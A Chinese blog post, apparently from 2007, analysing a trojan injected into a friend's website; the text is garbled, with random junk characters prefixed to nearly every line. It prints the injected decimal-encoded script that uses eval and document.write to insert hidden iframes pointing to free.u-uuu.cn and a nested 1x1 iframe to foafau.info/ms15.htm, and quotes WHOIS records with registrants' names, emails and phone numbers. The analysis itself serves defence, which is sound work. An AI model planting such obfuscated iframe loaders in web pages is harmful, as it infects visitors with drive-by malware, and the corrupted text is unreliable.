首发在我的博客里面，
:l>T~&/98 32IN;X| http://www.areway.cn/?p=175 b+M[DwPw qpl "j- ~j\/3;^s
周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;6 1m lC1X9Op <script>t=’60,105,102,114,97,109,101,
xy|-{ 32,115,114,99,61,104,116,116,112,58,47,47,
GfQP@R" 102,114,101,101,46,117,45,117,117,117,46,99,
/j' We-C 110,47,101,114,114,111,114,46,104,116,109,
ZtEHP`Iin
32,119,105,100,116,104,61,49,48,48,32,104,
HC8{); 101,105,103,104,116,61,48,62,60,47,105,102,
V_(?mC 114,97,109,101,62′;
Iq\sf-1E t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6iFd[<.*j =k[!p'~jD <script>t=’60,105,102,114,97,109,101,32,115,
' U)~|(\i 114,99,61,104,116,116,112,58,47,47,102,114,
fXw%2wg 101,101,46,117,45,117,117,117,46,99,110,47,
+WwQ!vWWd 101,114,114,111,114,46,104,116,109,32,119,
\Rp)n=| 105,100,116,104,61,49,48,48,32,104,101,105,
Drlt xI) 103,104,116,61,48,62,60,47,105,102,114,97,
C_#0Y_O 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
F
,{nG[PL document.write(t);</script>
3@}HdLmN| N_VAdNJ^: <html xmlns=”
PSHs<Z47 http://www.w3.org/1999/xhtml A}\Rms 2 “>
!@/?pXt| <head>
S&]:=He <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
@ z# k~ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
SAG) vmm <title>首页 - 爱生活家庭网
(>0d+ KT -lMC{~h\(S 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
nwN<Q\]S 转换字符串后的大概内容是（谁点击后果自付）：
KX<RD|= <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
jVRd[ xm YA/wt8 查询玉米u-uuu.cn的详细信息：
cp?`\P Domain Name: u-uuu.cn
fD\h5`- ROID: 20070901s10001s64972306-cn
df 1* [ Domain Status: ok
u(ZS sftat Registrant Organization: 王雷
1"odkM Registrant Name: 王雷
BJj~fNm1Zr Administrative Email:
czlovexs@126.com 3 XfXMVm Sponsoring Registrar: 北京万网志成科技有限公司
}C#YR( ] Name Server:ns.yovole.com
6w}:w ?=6 Name Server:ns1.yovole.com
jd2Fh) :q Registration Date: 2007-09-01 17:54
m2|0<P@k! Expiration Date: 2008-09-01 17:54
6g$04C3tHi 最后PING了一下地址 都没有什么….
~*B1}#; z7P PwTBa 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
<tF]>(|M <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
T"d]QYJS <script language=”javascript” src=”
il-&d]AP http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script
5Ll[vBW >
LwGcy1F. 这个玉米应该有可能是木马作者的：
x2ol foafau.info的详细信息：
RV(} \JU Access to INFO WHOIS information is provided to assist persons in
+Kq> r|; determining the contents of a domain name registration record in the
h'-TZXs0e1 Afilias registry database. The data in this record is provided by
2|% 30i,vV Afilias Limited for informational purposes only, and Afilias does not
;*Z
w}51 guarantee its accuracy. This service is intended only for query-based
?>o39|M_w access. You agree that you will use this data only for lawful purposes
LOida# R and that, under no circumstances will you use this data to: (a) allow,
"W+4`A(/l enable, or otherwise support the transmission by e-mail, telephone, or
\R-u+ci$ZY facsimile of mass unsolicited, commercial advertising or solicitations
N M8 F to entities other than the data recipient’s own existing customers; or
Z@ws,f^e (b) enable high volume, automated, electronic processes that send
?|hzAF"U queries or data to the systems of Registry Operator, a Registrar, or
e#'`I^8l Afilias except as reasonably necessary to register domain names or
KFV]2mFN modify existing registrations. All rights reserved. Afilias reserves
wqGZkFg1 the right to modify these terms at any time. By submitting this query,
2tr2:PB` you agree to abide by this policy.
pb {P[-f Domain ID:D22418703-LRMS
5e2m EQU > Domain Name:FOAFAU.INFO
[
objdQ U` Created On:20-Nov-2007 16:05:42 UTC
^5T{x>Lj Last Updated On:20-Nov-2007 16:05:44 UTC
e2*^;& |% Expiration Date:20-Nov-2008 16:05:42 UTC
IeU.T@ $ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
x9_ Lt4 Status:CLIENT DELETE PROHIBITED
H7SqM D*y9 Status:CLIENT RENEW PROHIBITED
+ Zr03B Status:CLIENT TRANSFER PROHIBITED
zIo))L Status:CLIENT UPDATE PROHIBITED
mtOrb9` m Status:TRANSFER PROHIBITED
nlY ^ Registrant ID:GODA-040110615
THu a?,oyW Registrant Name:liu hong
u%h<5WNh< Registrant Organization:
}dXL= ul Registrant Street1:beijing
v %FVz Registrant Street2:
r\Nn WS J Registrant Street3:
J5o"JRJ" Registrant City:beijing
So8P 8TCK Registrant State/Province:
U Jm`GO Registrant Postal Code:100000
sJ?kp^!g Registrant Country:CN
W"Rii]GK" Registrant Phone:+86.860108888777
O.$<B f9
Registrant Phone Ext.:
nu3 A'E`'k Registrant FAX:
Z?x]HB`r Registrant FAX Ext.:
{[9^@k Registrant Email:bbbshiji@163.com
' qM 3.U Admin ID:GODA-240110615
q(r2 \ Admin Name:liu hong
p5H Mg\hT Admin Organization:
*"4<&F
S Admin Street1:beijing
Rxli;bl zi Admin Street2:
U=yD! Admin Street3:
Z E\t{s0 Admin City:beijing
_N]yI0k( Admin State/Province:
,H%\+yn{ Admin Postal Code:100000
eQLa .0 Admin Country:CN
=_1" d$S& Admin Phone:+86.860108888777
ld?M ,Qd Admin Phone Ext.:
2~@=ua[|=5 Admin FAX:
sS|zz,y Admin FAX Ext.:
4Ek<
5s[ Admin Email:bbbshiji@163.com
YW}/C wB Billing ID:GODA-340110615
95<:-?4C;W Billing Name:liu hong
RTU :J67E Billing Organization:
S; c=6@" Billing Street1:beijing
M)xK+f2_[ Billing Street2:
)b7mzDp( Billing Street3:
7RLh#D| Billing City:beijing
Qpc{7#bp Billing State/Province:
xl9l>k6, Billing Postal Code:100000
lxd<^R3i#^ Billing Country:CN
dg!sRm1iZ: Billing Phone:+86.860108888777
UEe qk"t^ Billing Phone Ext.:
uJO*aA{K Billing FAX:
2 <O8=I _ Billing FAX Ext.:
f6"j-IW[z Billing Email:bbbshiji@163.com
us cR/d
Tech ID:GODA-140110615
E.6\(^g Tech Name:liu hong
~9c9@!RA2 Tech Organization:
aj,ZM,Ad Tech Street1:beijing
C[pDPx,#:G Tech Street2:
Gt%kok Tech Street3:
3edAI&a5 Tech City:beijing
Iu[EUi!" Tech State/Province:
f
LW>-O73 Tech Postal Code:100000
Vg+SXq6G Tech Country:CN
ZJpI]^9| Tech Phone:+86.860108888777
lV
9q ;!/1 Tech Phone Ext.:
C L*%06QyE Tech FAX:
9mnON~j5 Tech FAX Ext.:
|l|]Tw Tech Email:bbbshiji@163.com
w-"&;klV Name Server:NS27.DOMAINCONTROL.COM
eXd(R>Mx Name Server:NS28.DOMAINCONTROL.COM
q- Qws0\v. Name Server:
4_Jdh48-d Name Server:
T G NeEYr Name Server:
L$xRn/\ Name Server:
-Gpj^ aBU Name Server:
_e 3'f:
Name Server:
$!f$R`R^Q\ Name Server:
`R> O5Rv Name Server:
t5k&xV=~
# Name Server:
=FbfV *K 9 Name Server:
E;4a(o]{t Name Server:
7" [;M ts]7 + 6V 接着下载每个文件里面的代码：
.9xGL mg 一步一步看..
' 7A7HDJ 
_#O?g=1 
FCWphpz 
(Gn[T1p? 
7q 2YsI 
. T|NB8 rS 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
